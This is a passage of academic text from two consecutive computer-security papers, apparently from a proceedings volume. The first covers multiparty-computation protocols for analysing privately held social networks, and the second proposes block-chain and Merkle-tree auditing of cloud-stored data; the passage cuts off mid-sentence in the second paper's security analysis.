when designing protocols for a required functionality, our aim is always to design
a protocol as secure as its corresponding ideal functionality. Generally, if X is
the function that we desire to compute, then FX would represent the ideal func-
tionality for computing X and πX would denote the protocol designed to be as
secure as FX .

Let the protocol πG represent the implementation of an ideal functionality FG,
such that πG is as secure as FG. Let FH be another ideal functionality correspond-
ing to the protocol πH �FG, such that πH �FG is as secure as FH . Here, � represents
the composition operation, which implies that the protocol πH invokes the ideal
functionality FG as a sub-protocol. Then, UC theorem states that πH � πG is as
secure as FH . UC theorem allows us to replace ideal functionalities in a complex
protocol, involving the composition of several sub-protocols, by their respective
secure implementations. This eases the process of proving the security of a proto-
col composed with various other secure sub-protocols.

4 Building Blocks

The proposed network parameter protocols are designed using the arithmetic
black-box FABB . The ideal functionality FABB allows the n parties to perform
the following operations over a field Fp:
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1. Store: A party P can store an element a ∈ Fp in the arithmetic black-box.
We depict this operation using the following notation:

[b] ←P a, the element a is now securely stored in the memory
location named b in the arithmetic black box FABB .

2. Addition: If [a] and [b] are stored in FABB , then the parties can store [a]+p [b]
in FABB , where +p represents addition modulo p. We will denote an addition
operation as follows:

[c] ← [a] + [b],where c contains the sum ([a] +p [b])

3. Multiplication: If [a] and [b] are stored in FABB , then the parties can store
[a]∗p [b] in FABB , where ∗p represents multiplication modulo p. The notation
for the multiplication operation would be:

[c] ← [a] ∗ [b], where c contains the product ([a] ∗p [b])

4. Release: All the parties must be able to release a secret [a] stored in FABB

to all or a set of parties. We use the following notation to depict a public
release of a secret and a private release of a secret to a particular party P
respectively:

b ← [a]

b ←P [a]

where b represents the value stored in the location a of FABB

There are many implementations of the arithmetic black-box, including
Shamir secret sharing [31] and Pallier cryptosystem [32]. One can use these
implementations, depending on the security requirement and efficiency expec-
tations. We further append the operations of the arithmetic black-box with the
following set of operations:

1. Comparison: All the parties can securely compare [a] and [b]. We will use the
following notation to compare two secrets:

[c] ← [a]
?
< [b], where c stores 1 if ([a] < [b]), else c stores 0

2. Equality: Similar to the comparison sub-protocol defined above, the equality
protocol allows parties to securely check whether two stored values are equal.
We use the following notation to denote a secure equality operation:

[c] ← [a] ?= [b],where c stores 1 if [a] equals [b], else c stores 0

3. Private Modulo Reduction: The n parties holding [a] and [b] can securely
compute [a] mod [b]. The notation we use to signify this operation is as
follows:
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[c] ← [a] mod [b],where c contains [a] mod [b]

An implementation of the above operations can be found in [33]. The arith-
metic black-box appended with the above mentioned operations will be termed
as the extended arithmetic black-box and will be represented by the ideal func-
tionality FABB itself.

Let A = (aij)n×n represent a matrix, then [A] signifies that all the entries of
the matrix are stored individually in the FABB functionality.

Further, we use a secure implementation of Dijkstra’s Algorithm for comput-
ing single source shortest paths, from an adjacency matrix stored in the FABB

functionality [22,23]. This protocol will be used for securely computing closeness
centrality of a node in a network, given in Sect. 5.2. We will use the following
notation to signify a call to the sub-protocol for computing single source shortest
path:

[d1, d2, . . . , d|V |] ← Dijkstra([A], [u])

where A is the adjacency matrix corresponding to the graph G(V,E)
under consideration, u represents the source vertex, di represents the dis-
tance from node u to node i. [d1, d2, . . . , d|V |] is the shorthand notation for
[d1], [d2], . . . , [d|V |].

5 Secure Network Parameter Computation

Social network analysis (SNA) focuses on computing several network parame-
ters to probe into the structural aspects of the network. In this section, we look
at how a few well studied network parameters can be securely computed, thus
facilitating the study of previously inaccessible sensitive networks. The network
parameters explored in this section include degree distribution, closeness central-
ity, Google PageRank and K-shell decomposition algorithm. All of the designed
protocols take as input, the distributed adjacency matrix [A] representing the
underlying network. The details regarding the construction of [A] from the dis-
tributedly held network data is out of the scope of the current paper, however,
can be found in the extended version [34].

5.1 Degree Distribution

Studying the degree distribution of a social network is one of the primary and
simple steps in SNA. Unlike the binomial degree distribution in random graphs,
real world complex networks depict the peculiar scale-free degree distribution
[35–37]. Networks with scale-free degree distribution have very few nodes with
high degree and majority of the nodes with low degree. The scale-free degree
distribution is defined as:
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P (degree = k) ∝ k−γ

The above distribution is determined by the parameter γ. Most real world com-
plex networks including WWW [38], Internet [39] and various online social net-
works [40] depict scale-free degree distribution with γ between 2 and 3. Hence,
investigating the degree distribution of unexplored sensitive networks can be an
interesting direction to pursue. Consider, as an example, the hate network on
employees of an organization. As discussed previously, each employee is assumed
to have the knowledge of only those whom she hates in the network. That is,
she is aware of only her out-going links in the network. Hence, there is no indi-
vidual who has the global picture of the network. Additionally, an employee is
unaware of the in-links to her, that is identity of employees who hate her. It is
the in-degree distribution that would reveal the overall hatred present in the net-
work. One can study the correlation between the distribution of hatred amongst
employees in an organization and the overall productivity. In general, it would
make a good study to observe the most widely occurring hatred distributions
across several organizations.

In this section, we propose a protocol πID for securely computing the in-
degree distribution of a directed network, held distributedly by a set of parties.
The proposed protocol can be easily modified for computing out-degree distrib-
ution in directed networks and degree distribution in undirected networks.

In Degree Distribution. The protocol πID assumes [A] as its input, where
A stores an unweighted adjacency matrix stored in the FABB functionality. In
steps 1–2 of the protocol, the parties securely compute the in-degree of every
node in the graph, and the in-degree of node i ∈ |V | is stored in idi. In steps
3–7, we compute the number of nodes having in-degree j, which is represented
as dj . The proposed protocol requires Θ(|V |2) addition and Θ(|V |2) comparison
operations.

Protocol 1. in degree distribution() πID

Input: [A], where A stores an unweighted adjacency matrix
Output: [d0], [d1], [d2], . . . [d|V |−1], where di stores the number of vertices in the graph,

represented by the adjacency matrix A, having i as their in-degree
1: for i = 1 to |V | do
2: [idi] ←∑|V |

j=1[aji]

3: for i = 1 to |V | do
4: for j = 0 to |V | − 1 do

5: [dij ] ← ([idi]
?
= j)

6: for j = 0 to |V | − 1 do

7: [dj ] ←∑|V |
i=1[dij ]
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Theorem 1. The protocol πID securely implements FID with perfect security
in the presence of the FABB functionality.

Proof sketch. The sequence of FABB operations invoked by the πID protocol is
a function of only the public value n i.e. the number of vertices in the graph
under consideration. The correctness of the protocol follows trivially from the
structure of the πID protocol. The security of the protocol follows from the UC
theorem and the FABB functionality. 	


5.2 Closeness Centrality

Since its introduction in 1950 by Bavelas [41], closeness centrality measure has
been one of the most widely utilized centrality measures. Closeness centrality of
a node u in a graph G is defined as:

C(u) =
1

∑|V |
i=1 d(u, i)

where d(u, i) represents the distance of node i from node u in graph G, which
may be directed or undirected.

High closeness centrality nodes correspond to highly influential individuals
in a social network [42]. A recent study [43] claims that clients are as responsible
as sex-workers for the spreads of AIDS, since clients too correspond to highly
central individuals in the sexual network. This hypothesis on sensitive networks,
can be tested using the secure closeness centrality protocol we propose in this
section. Further we provide the implementation details for securely computing
the closeness centrality of a single node in the network. This protocol can be
easily extended for computing the closeness measure of a set of nodes in the
network.

The closeness centrality protocol πC inputs [A] and [i], where A stores an
adjacency matrix and i stores the index of a vertex. In step 1, we compute the
distance of node i from all the nodes in the network. This can be computed
using the Dijkstra() protocol given in Sect. 4. In step 2, we securely add these
distances to obtain the reciprocal of the closeness centrality of node [i]. The
number of operations used in the protocol πC is asymptotically the same as
the Dijkstra’s implementation, which uses Θ(|V |3) additions operations, Θ(|V |3)
multiplications operations and Θ(|V |2) comparisons/equality checks.

Protocol 2. closeness centrality() πC

Input: [A], where A stores an adjacency matrix
[i], where i stores the index of a vertex, which is an element of {1, 2, . . . |V |}

Output: [ci], reciprocal of the closeness centrality of node [i]
1: [di1, di2, . . . , din] ← Dijkstra([A], i)

2: [ci] ←∑|V |
j=1[dij ]
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Theorem 2. The closeness centrality protocol πC securely implements FC with
perfect security in the presence of the FABB functionality.

The proof follows on similar lines to that of Theorem 1.

5.3 Google PageRank

Larry Page and Sergey Brin developed the PageRank algorithm to better order
the results fetched for a query on a search engine [44,45]. The idea was to rank
web pages on the Internet, based on the number and ranks of the in-links of
the page. According to Google PageRank centrality, a node in a graph is said
to be important if the nodes pointing to it are important. In social networks,
high page rank valued individuals are correlated to highly influential and pop-
ular individuals [46]. Consider a supply chain network of several organizations,
where an edge (u, v) would denote that organization u is a supplier (of raw
material or an end product) to organization v. This is yet another example of
a private network where parties (or organizations) would be unwilling to dis-
close their business relations [28]. Yet every organization would be interested in
learning how influential it is, based on the strategic position it occupies in the
network. In this section, we provide a secure implementation of an algorithm
to determine the PageRank value of nodes, in a network distributedly held by
individuals/organizations. There are numerous algorithms in the literature for
computing the PageRank value of nodes, but in this paper we employ the random
surfer algorithm.

Firstly, we discuss three sub-protocols, which will aid in realizing the secure
PageRank algorithm.

The protocol no zero outdegree() inputs an unweighted adjacency matrix
[A]. The protocol increases the out-degree of a node with zero out-degree to
|V |, by adding outgoing links to all the nodes from the zero out-degree node.
The protocol returns this modified adjacency matrix. It uses Θ(|V |2) addition
operations and Θ(|V |2) equality checks.

Protocol 3. no zero outdegree() πNOD

Input: [A], where A stores an unweighted adjacency matrix
Output: [A], where A stores a modified input matrix, such that a row consisting of

|V | zeroes is converted into a row of |V | ones
1: for i = 1 to |V | do
2: [di] =

∑|V |
j=1[aij ]

3: for j = 1 to |V | do
4: [aij ] ← [aij ] + ([di]

?
= 0)

Lemma 1. The protocol πNOD securely implements FNOD with perfect security
in the presence of the FABB functionality.
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Proof sketch. The correctness and privacy of the protocol follows directly from
the protocol structure and it is easy to observe that the sequence of instructions
is dependent only on the number of vertices. 	


The protocol random number() inputs a number k, where k ∈ Fp, and out-
puts [r], where r ∈R {1, 2, . . . , k}. It uses Θ(n) addition operations, Θ(n) mul-
tiplication operations, Θ(n) comparison operations and Θ(1) private modulo
reduction operations.

Protocol 4. random number() πRAND

Input: k ∈ Fp

Output: [r], where [r] ∈R {1, 2, . . . , k}
1: [r] ← 0
2: for i = 1 to n do
3: [ri] ←Pi ri, where ri ∈R {0, 1, 2, . . . , k − 1}
4: [r] ← [r] + ([ri] ∗ ([ri]

?
< [k]))

5: [r] ← ([r] mod [k]) + 1

Lemma 2. Let r1, r2, . . . , rl ∈R Zm for some m, l ≥ 1, where the set Zm equals

{0, 1, . . . ,m − 1}, then
((

l∑

i=1

ri + c

)

mod m

)

∈R Zm, for any c ∈ Zm.

The proof of the above lemma can be found in [30]

Lemma 3. The protocol πRAND securely implements FRAND with perfect secu-
rity in the presence of the FABB functionality.

Proof sketch. In the ith iteration of the for loop in step 2, if ri < k then ri is
added to r, and otherwise the value of r remains unchanged. After n iterations
of the for loop at step 2, at least one honest party Pj would have added a
random number rj ∈R Zk. Hence, from Lemma 2 the output of the protocol r is
a random element of Zk. This completes the proof of correctness. The security
follows directly from the fact that addition, comparison and private modulo
reduction operations are provided by the FABB functionality. 	


The protocol random neighbour() inputs an unweighted matrix [A] and a
vertex [cur]. The protocol outputs a random neighbor [u] of vertex [cur] i.e.
[u] ∈R {v | ([cur], v) ∈ E}. This protocol uses Θ(n|V |2) additions operations,
Θ(|V |2) multiplications operations and Θ(|V |2) comparison/equality checks.

Lemma 4. The protocol πRN securely implements FRN with statistical security
in the presence of the FABB functionality.

Proof sketch. No change is made to the value of variable u in (|V |−1) iterations
of the for loop on step 2. The only iteration where u is updated is when the index



Privacy Preserving Network Analysis of Distributed Social Networks 349

variable i equals the input vertex cur. To pick a random neighbor of cur, we
associate a random number rj with acur,j entry of the matrix, for 1 ≤ j ≤ |V |.
The vertex u is updated with the index of the neighbor of cur associated with the
least random number. Since all the random numbers are independently generated
and no two random numbers are the same (which occurs with only negligible
probability), we can conclude that we store a neighbor of vertex cur uniformly
at random in u. 	


Protocol 5. random neighbour() πRN

Input: [A], where A stores an unweighted adjacency matrix, such that each row has
at least one non-zero entry
[cur], where cur stores the index of a vertex

Output: [u] ∈R {v|([cur], v) ∈ E} i.e. u stores a random neighbour of [cur]
1: [u] ← [0]
2: for i = 1 to |V | do
3: [temp] ← (i

?
= [cur])

4: for j = 1 to |V | do
5: for k = 1 to n do
6: [rjk] ←Pk rjk, where rk ∈R Zp

7: [rj ] ←∑n
k=1[rjk]

8: [min] ← [p − 1]
9: for j = 1 to |V | do
10: [check] ← [temp] ∗ ([rj ]

?
< [min]) ∗ ([aij ]

?
= 1)

11: [min] ← [min] + [check] ∗ ([rj ] − [min])
12: [u] ← [u] + ([j] − [u]) ∗ [check]

Next we present a secure implementation of the PageRank computation algo-
rithm. The algorithm inputs l, α and [A], where l represents the length of the
random walk we take on the underlying network [A] and (1−α/p) is the telepor-
tation probability in the random surfer model, with p being the size of the field
Fp. In steps 1–2 we initialize a variable [counti] for every vertex i ∈ V . At the end
of the protocol run, the variable counti will contain the number of times vertex
i was visited during the random walk. In steps 4–5 we pick a random vertex r
and assign it to be the starting location of the random walk. In each iteration of
the while loop on step 6, we hop from the current vertex [cur] to a vertex v after
updating the value countcur. The vertex v is selected to be a random neighbor of
cur with probability (α/p) and it is selected to be a random vertex in the network
with probability (1−α/p). The proposed protocol πPR uses Θ(nl|V |2) additions,
Θ(l|V |2) multiplications, Θ(l|V |2) comparison/equality checks and Θ(l) private
modulo reduction operations.

Theorem 3. The protocol πPR securely implements FPR with statistical secu-
rity in the presence of the FABB functionality.
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The proof of the above theorem follows directly from Lemmas 3, 4 and the
correctness of the protocol πPR.

Protocol 6. page rank() πPR

Input: l, the length of the random walk
α, such that (1 − α/p) is the teleportation probability
[A], which is an unweighted adjacency matrix

Output: [count1], [count2], . . . [count|V |], where counti stores the number of times ver-
tex i is visited during the random walk

1: for i = 1 to |V | do
2: [counti] ← [0]

3: [A] ← no zero outdegree([A])
4: [r] ← random number([|V |])
5: [cur] ← [r]
6: while l > 0 do
7: for i = 1 to |V | do
8: [counti] ← [counti] + ([cur]

?
= i)

9: for i = 1 to n do
10: [ri] ←Pi ri, where ri ∈R Zp

11: [r′] ←∑n
i=1[ri]

12: [flag] ← ([r′]
?
< α)

13: [u] ← random neighbor([A], [cur])
14: [v] ← [u] ∗ [flag]
15: [u] ← random number(|V |)
16: [v] ← [v] + [u] ∗ ([1] − [flag])
17: [cur] ← [v]
18: l = l − 1

5.4 K-shell Decomposition

Core-periphery structure is one of the most prominent and well studied mesoscale
structures found in real world complex networks, including social networks. It
was first introduced in 2000 by Borgatti and Everett [4]. A network is said to
possess core-periphery structure if: the nodes in the network can be partitioned
into two disjoint sets, namely, core and periphery ; the set of core nodes are
densely connected; periphery nodes are sparsely connected; periphery nodes are
easily reachable from the core nodes. The set of core nodes are observed to be
influential spreaders, since they play a key role in information diffusion [47].

In the year 2003, Batagelj and Zaversnik [48] used the K-shell algorithm for
identifying the core-periphery structure in an undirected unweighted network.
The K-shell algorithm assigns a shell number to each node, such that, higher the
shell number, higher is the coreness coefficient of the node. The algorithm begins
by assigning shell number 0 to isolated nodes. Then we prune nodes of degree
1, until the degree of all the nodes in the network is greater than 1. The nodes
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which are pruned are assigned shell number 1. Further the algorithm prunes
nodes of degree 2 or less and assign these nodes shell number 2, and so on. The
exact formulation of the K-shell algorithm can be found in [48]. In this section,
we provide a secure implementation of the K-shell algorithm, which can be used
for finding the set of influential spreaders securely in a distributedly held social
network.

The protocol begins by initializing a few variables. For every vertex i, the
variable marki is initialized to 0, and is further set to 1 when node i is assigned
its shell number. The variable shelli is initialized to 0 and is later updated to the
shell number of node i. The variable cur shell stores the current shell number,
which is assigned to the nodes pruned in the current step. In each iteration of the
for loop on step 5, we securely assign the shell number for precisely one node with
its shell number. In steps 8–11, we find the least degree node u in the graph, which
is to be pruned next. The value of cur shell is updated in step 12 to the maximum
of cur shell and degu. In steps 13–15, we update the value shellu and marku

to the correct values of shell number of vertex u and 1 respectively. Finally, in
line 16–19, we update the adjacency matrix under consideration by removing the
node u and all its adjacent edges from the network. The proposed secure K-shell
algorithm uses Θ(|V |3) addition operations, Θ(|V |3) multiplication operations
and Θ(|V |3) comparison/equality operations.

Next we present a proof of correctness of the k-shell decomposition protocol.
A vertex u is said to be marked if marku = 1 and it is said to be unmarked
otherwise. At the start of the protocol all the vertices in the graph are unmarked.

Lemma 5. In the protocol πKD, after |V | iterations of the for loop on step 8,
the variable u contains the index of the least degree unmarked vertex in the graph
represented by the adjacency matrix A.

Proof sketch. In steps 8–11, we traverse trough the list of all the vertices. We
store the “current” minimum degree unmarked vertex stored in u. In case we
find an unmarked vertex v with degree lower than that of u, then we update u
as v and we further update degu, which stores the degree of the “current” least
degree unmarked vertex. 	

Let u(k) represent the least degree unmarked vertex selected after the for loop
on step 8 in the kth iteration of the for loop on step 5.

Lemma 6. In the kth iteration of the for loop in step 5 of the protocol πKD,
the variable shellu(k) is updated with correct shell number of vertex u(k).

Proof sketch. This can be proved by using induction over the number of marked
vertices. Let us assume that (k−1) vertices have been marked and updated with
their correct shell number. Then the vertex u(k) is marked in the kth iteration
of the for loop on step 11. The variable shellu(k) is updated with the maximum
of shellu(k−1) and |{v is unmarked|{u(k), v} ∈ E}| i.e. the number of unmarked
neighbors of u(k), which is the correct shell number for u(k) in accordance with
the k-shell decomposition algorithm. 	
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Protocol 7. kshell decomposition() πKD

Input: [A], where A is an unweighted undirected adjacency matrix with no self loops
Output: [shell1], [shell2], [shell3], . . . [shell|V |], where shelli stores the shell number of

vertex i
1: for i = 1 to |V | do
2: [marki] ← 0
3: [shelli] ← 0

4: [cur shell] ← 0
5: for iter = 1 to |V | do
6: [degu] ← |V |
7: [u] ← 0
8: for i = 1 to |V | do
9: [degi] ←∑|V |

j=1[aij ]

10: [u] ← [u] + (([i] − [u]) ∗ ([marki]
?
= 0) ∗ ([degi]

?
< [degu]))

11: [degu] ← [degu] + (([degi] − [degu]) ∗ (i
?
= [u]))

12: [cur shell] ← [degu] + (([cur shell] − [degu]) ∗ ([cur shell]
?
> [degu]))

13: for i = 1 to |V | do
14: [shelli] ← ([cur shell] ∗ (i

?
= [u])) + [shelli]

15: [marki] ← (i
?
= [u]) + [marki]

16: for i = 1 to |V | do
17: for j = 1 to |V | do
18: [aij ] ← [aij ] + ((0 − [aij ]) ∗ (i

?
= [u]))

19: [aji] ← [aji] + ((0 − [aji]) ∗ (i
?
= [u]))

Theorem 4. The protocol πKD securely implements FKD with perfect security
in the presence of the FABB functionality.

Proof sketch. The correctness of the algorithm follows directly from Lemma 6.
The protocol πKD has a well defined sequence of addition, multiplication and
equality/comparison operations, which can be securely performed using the
FABB functionality. 	


6 Conclusions

Multiparty computation has been extensively applied to the domains of com-
putational geometry, voting, bench-marking, etc. In this paper, we discuss on
how MPC tools and techniques can be of interest to performing social network
analysis. Study of sensitive networks, including financial transaction networks,
sexual networks, trust networks and enmity networks, has largely been ham-
pered by the unavailability of data due to privacy issues. It is mostly the case
that these sensitive networks have the data distributedly held. In this paper, we
present a set of MPC protocols which can be used to securely compute some
network parameters on a distributedly held network. Network measures securely



Privacy Preserving Network Analysis of Distributed Social Networks 353

implemented include degree distribution, closeness centrality, PageRank and
K-shell decomposition algorithm. To further build on this idea, one can securely
implement other network parameters like reciprocity, homophily, betweenness,
etc. Another important dimension to this work can be to improve on the effi-
ciency of various network parameter protocols, using available MPC efficiency
improvement techniques. One can further study the practical feasibility of the
proposed MPC protocols for performing secure SNA on large sensitive networks.
The broad aim of the paper is to highlight the possibility of exploring problems
lying in the intersection of the two domains, namely, multiparty computation
and private social networks.
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Abstract. Low cost, high performance and on-demand access of cloud
infrastructure facilitates individuals and organizations to outsource their
high volume of data to cloud storage system. With continuously increas-
ing demand of cloud storage, security of users’ data in cloud is becoming
a great challenge. One of the security concerns is ensuring integrity of the
data stored in the cloud, and trusted third-party based public auditing is
a standard technique for cloud data authentication. In this paper, for the
first time, we propose an auditing scheme for cloud data without requir-
ing a third party. We exploit the block-chain data structure of Bitcoins
to propose an auditing mechanism whereby any user can perform the
validation of selected files efficiently. In case a user does not possess the
required computational resource for verification, or a user is reluctant
to do the verification, our scheme provides the option for third party
verification as well, without any additional overhead of data structure,
computation or storage.

Keywords: Audit · Block-chain · Cloud data · Hash-tree · Merkle tree

1 Introduction

Cloud computing is an internet-based computing model that provides shared
processing, resources and data among different users or agents. Different types
of sensitive data may be stored in the cloud servers and so cloud storage is one
of the important components in cloud computing. Cloud storage is essentially a
service model where data and services are well maintained, managed and often
backed-up remotely. Based on the accessibility and use of data in the cloud,
there are four deployment models of cloud.

– Public cloud: It provides a multi-tenant storage environment and is well-suited
for unstructured data, e.g. data of Facebook, Twitter etc. In public cloud, data
are spread over different regions and continents as it is stored in global data
centers (e.g., Amazon Elastic Compute Cloud (EC2), IBM’s Blue Cloud, Sun
Cloud, Google App Engine and Windows Azure etc.)
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– Private cloud: It is generally used for Institutional or Organizational data and
is dedicated to a single enterprise whose data and services are customized and
controlled by firewall.

– Hybrid cloud: It a composition of private and third-party public cloud, where
different platforms are integrated facilitating data and applications porta-
bility. Hybrid clouds are often called integrated clouds which combine a set
of requirements from two or more co-joining clouds (e.g., cloud bursting for
load-balancing between clouds).

– Community Cloud: The cloud infrastructure is shared by several organizations
and supports a particular community that has shared concerns. A community
cloud is governed by the regulatory controls of that particular community, for
example, health and financial institutions clouds.

Possibility of breaching data in multi-tenancy cloud environment is increasing
continuously and it is a potential threat for cloud users. For cloud data, two
security properties are essential: data confidentiality and data integrity. Breach
of data may occur due to involvement of malicious hackers outside the system or
some persons engaged internally in the system like data managers of the cloud
service providers (CSP) who can directly access the clients’ data. A more serious
issue is that CSP might manipulate or fabricate users’ data and even deliberately
delete some rarely accessed data to save storage space. So it is a big challenge
to establish trust and confidence of cloud users or data owners for storing their
data in the cloud.

Auditing is a process of analyzing log records to present information about
the system in a clear and understandable format. Traditionally, two-party stor-
age auditing protocols [4,7,12], that requires independent auditing service, were
used to check the data integrity. In cloud storage system, however, two-party
auditing techniques did not turn out to be appropriate and efficient, because
both cloud users and CSPs could not be guaranteed unbiased auditing result.
Moreover, in large-scale cloud storage systems, where data is updated dynam-
ically, an efficient, secure and dynamic auditing protocol is desired. For third
party auditing in cloud storage systems, some important requirements have been
proposed in [15]:

(a) Confidentiality: The auditing protocol should keep owners data confiden-
tially against the auditor i.e. auditors have no idea about cloud owners
data.

(b) Dynamic Auditing: The auditing protocol should support the dynamic
updates of the data in the cloud.

(c) Batch Auditing: The auditing protocol should also be able to support the
batch auditing for multiple owners in multi-cloud environment.

Wang et al. [16] presented a public auditing scheme based on Merkle hash
tree which supports both the privacy-preserving auditing protocol and batch
auditing. Over the last few years, there have been a plethora of works [1,9,17]
on third-party auditing of cloud data. Third-party auditing mechanism is an
elegant solution which monitors the data dynamics and verifies the integrity of
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data for the cloud data owners. However, clients may not trust the involvement
of third party for auditing their sensitive data. Moreover, clients have to pay
for such a service to the third party auditor (TPA) and renew from time to
time for the same. For such type of clients, two-party auditing or auditing-by-
anybody may be a better solution, if the security requirements are not violated
and efficiency is not compromised.

In this paper, we remove the necessity for a single trusted third-party for
cloud data auditing. We propose a novel solution based-on a block-chain type
data structure that is typically used in Bitcoins [11] for distributed maintenance
of authenticated ledger of all transactions. We arrange the data structure of
the block-chain in such a way that the clients can easily and efficiently verify
their stored data in the cloud storage server without intervening third party. If
anything is modified in a block of the block-chain, the modification will imme-
diately propagate in the other blocks and anybody can detect the mismatch.
It is interesting to note that our proposed scheme also entails the option for
traditional trusted-third-party auditing, without any extra overhead of storage
or data structure. Moreover, the security of our scheme reduces to the colli-
sion resistance of the underlying hash function and does not depend on bilinear
pairing like computationally expensive operations.

1.1 Related Works

Ateniese et al. [2] first introduced the public third-party auditor (TPA) scheme
called provable data possession (PDP) which significantly reduces the unnec-
essary burden of the users by transferring it to the TPA. However, its main
drawback is that it does not allow dynamic auditing. Later, Erway et al. [6]
proposed the dynamic data auditing concept known as dynamic provable data
possession (DPDP) scheme which extends the original concept of PDP model [2].
It facilitates dynamic authentication data structure with verification algorithms,
but the main drawback of the protocol is that it cannot support public auditing.
Wang et al. [16] resolves the above two problems by presenting a public audit-
ing scheme based on Merkle Hash Tree (MHT), which supports both dynamic
as well as public auditing requirements. However, the above scheme involves
more computational costs considering the third party auditor (TPA) because it
incurs a huge communication overhead during updating and verification phases.
Then, in 2013 Zhu et al. [19] proposed a new idea to minimize the computation
and communication costs by introducing index-hash table based public auditing
(IHT-PA) scheme. But the IHT-PA auditing scheme is inefficient for dynamic
updating operations, especially for insertion and deletion operations. Later in
2015, Tian et al. [14] proposed a public auditing scheme for secure cloud stor-
age based on dynamic hash table (DHT), which is a new two-dimensional data
structure located at the TPA side to record the data property information for
dynamic auditing. DHT achieves better performance and improves much in the
updating phase than other public auditing schemes.
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2 Data Structures Used in Our Proposal

Our proposed scheme introduces block-chain data structure (BCDS) that
enhances the authentication and security of data in cloud along with other facil-
ities. We also use the concept of Merkle tree to verify the integrity of any file or
file-block1 The proposed system has two parties: users or data owners and cloud
service providers (CSP).

Fig. 1. System model

In Fig. 1, we present the basic system model. The cloud service provider
maintains the required storage space for outsourcing data. The clients can store
and retrieve data from storage server of the CSP as and when required, and
perform auditing dynamically. Next, we explain our two main data structures:
block-chain and Merkle tree.

1 Since “block” in the context of block-chain means a node in the chain, we use the
term “file-block” to denote the smallest unit of data-chunk in the file.
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2.1 Block-Chain

Block-chain is a distributed public ledger and it is the underlying technology of
Bitcoins [11]. A block is considered to be a transaction ledger where transaction
data is recorded permanently. Blocks are organized into a linear (linked-list),
known as block-chain. The first block in the block-chain is called the genesis
block, numbered as block #0. New transactions are constantly being processed
by the miners which are added to the end of the chain and once accepted by the
network no one can change or remove the block.

Each block in the block-chain does not give only the location of the previous
block, but it also contains a digest of the previous block that allows us to verify
that the value hasn’t changed. The head of the list is just a regular hash-pointer
that points to the most recent data block. Figure 2 depicts the basic block-chain
structure in Bitcoins. If an adversary changes the data of some block B, then
the hash in block B + 1, which is the hash of the entire block B, will not match
with the hash of modified B (since the hash function is collision-resistant). The
adversary can continue to try and cover up this change by changing the next
block’s hash as well. But this strategy will eventually fail, when the adversary
reaches to the head of the list. We consider a file to be a concatenation of some
smaller units called file-blocks.

Fig. 2. Block-chain data structure as used in Bitcoins

In our proposal, we use a block-chain data structure (BCDS), where informa-
tion for a file is stored in a block and the transactions are replaced by file-blocks.

2.2 Merkle Tree

The second type of data structure defines a binary tree with hash pointers
called Merkle tree [10]. Earlier, it has been used for authentication in file system
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implementations and version control systems. In Bitcoins, it is a per-block tree
of the whole transactions that are linked to that block. It is an efficient way that
allows us to make a digest of all the transactions in the block. Merkle tree data
structure is explained in Fig. 3. Consider a block with 4 transactions T1, T2, T3

and T4. The hashes are computed as: H1 = h(T1), H2 = h(T2), H3 = h(T3), H4
= h(T4), H5 = h(H1 || H2), H6 = h(H3 || H4), Merkle root: H7 = h(H5 || H6),
where h() is a double-hash function defined as h(x) = SHA256(SHA256(x)),
where SHA256 is the 256-bit SHA-2 hash function.

Actually transactions are not stored in the Merkle tree, rather their data is
hashed and the resulting hash is stored in each leaf node as H1, H2, H3 and
H4. Consecutive pairs of leaf nodes are then summarized in a parent node, by
concatenating the two hashes. For example, to construct the parent node H5,
the two 32-byte hashes of the children (H1 and H2) are concatenated to create
a 64-byte string. The process continues until there is only one node at the top
known as the Merkle Root (H7). Whether there is one transaction or a hundred
thousand transactions in a block, the Merkle root always summarizes them into
256 bits.

To prove that a specific transaction is included in a block, a node only requires
to produce log2(N) 32-byte hashes (where N is the number of nodes in the tree)
which constitutes the Merkle path or authentication path that is connecting the
specific transaction to the root of the tree. As per [5], classic traversal algorithm
requires 2log N time for the proof process.

Fig. 3. Merkle tree as used in Bitcoins
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In our scheme, each file gives rise to a Merkle tree. We use the hash of the
file-blocks of a file as the leaf nodes, and a Merkle root is generated that is stored
in the block corresponding to that file.

3 Description of Our Proposal

In this section, we describe our proposal for auditorless auditing. Analogous to
Bitcoins’ public block-chain ledger, our scheme also uses a block-chain, where
each block contains authentication information for a single file of some user. Each
file is divided into fixed-length file-blocks for constructing the Merkle tree. As
an when a user adds one file to the cloud server, a new node in this block-chain
is created. Thus, one block in the chain may correspond to the file j of user i
and the next block may correspond to the file l of user k.

Fig. 4. User’s file list and the public block-chain structure

Each block in the block-chain will contain the user ID uID, the file ID fID,
version number ν, timestamp t, the number N of file-blocks of that file, the
Merkle root n0 of the tree corresponding to all the file-blocks of that file and
the hash prev of the previous block in the block-chain. Each user will maintain
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a list of pointers, indexed by the file ID’s. This pointer directly points to the
particular block (in the block-chain) corresponding to that file. Figure 4 shows
the above description in a nutshell. The number beside each variable denotes
the typical size in bytes of that variable.

The execution flow for auditing a file is shown in Fig. 5. Assume that the file
F is divided into N file-blocks denoted by b0, b1, . . ., bN−1, where N = 2d, d
being the height of the Merkle tree. Our auditing scheme consists of two phases:
setup and verification. The setup phase involves the following steps.

– Generation of leaf hashes: The user computes the leaf hashes nN−1+i = h(bi)
for each file-block bi, where 0 ≤ i ≤ N − 1.

Fig. 5. Execution flow for auditing a file



Exploiting Block-Chain Data Structure 367

– Computation of internal node hashes: The user then computes the internal
node hashes ni = n2i+1 || n2i+2.

– Store the root: The user stores the root n0 in the block-chain.
– Cloud server stores tree: The cloud server stores the entire tree corresponding

to a file.

We follow the technique of [3] for leaf number-based verification. The leaves are
divided into P chunks, where P is a parameter that divides N . The verification
phase proceeds as follows.

– Seed generation: The user computes the seed r = hP (n0).
– Derivation of leaf members: The user derives one random leaf number in each

of the P chunks as lj = G(r, j), 0 ≤ j ≤ P − 1, and sends them to the CSP,
where G is some cryptographic pseudo-random number generator (PRNG).

– Root construction from sibling information: CSP then sends the appropriate
sibling information to the user so that the user can construct path to the
Merkle root. At this stage, the user could verify the root that he has stored.
However, in line of [3], we perform some additional steps.

– Generate new leaf numbers and match: The user then computes the seed
r′ = hP (n′

0), where n′
0 is the new root computed at the user’s end. The

user then derives the leaf numbers l′j = G(r′, j) and verifies whether l′j = lj
for each j. If they match, then the file is verified.

3.1 Security Analysis and Discussion

Note that our scheme satisfies all the three requirements of secure cloud data
auditing. It ensures confidentiality, by not keeping the actual data in the block-
chain. Moreover, our scheme does not restrict the user from storing data in an
encrypted form for enhanced security. Since we do not mandate to keep the
authentication information of a user at a single place, rather we distribute them
across the block-chain in the order of the timestamps, so dynamic update is
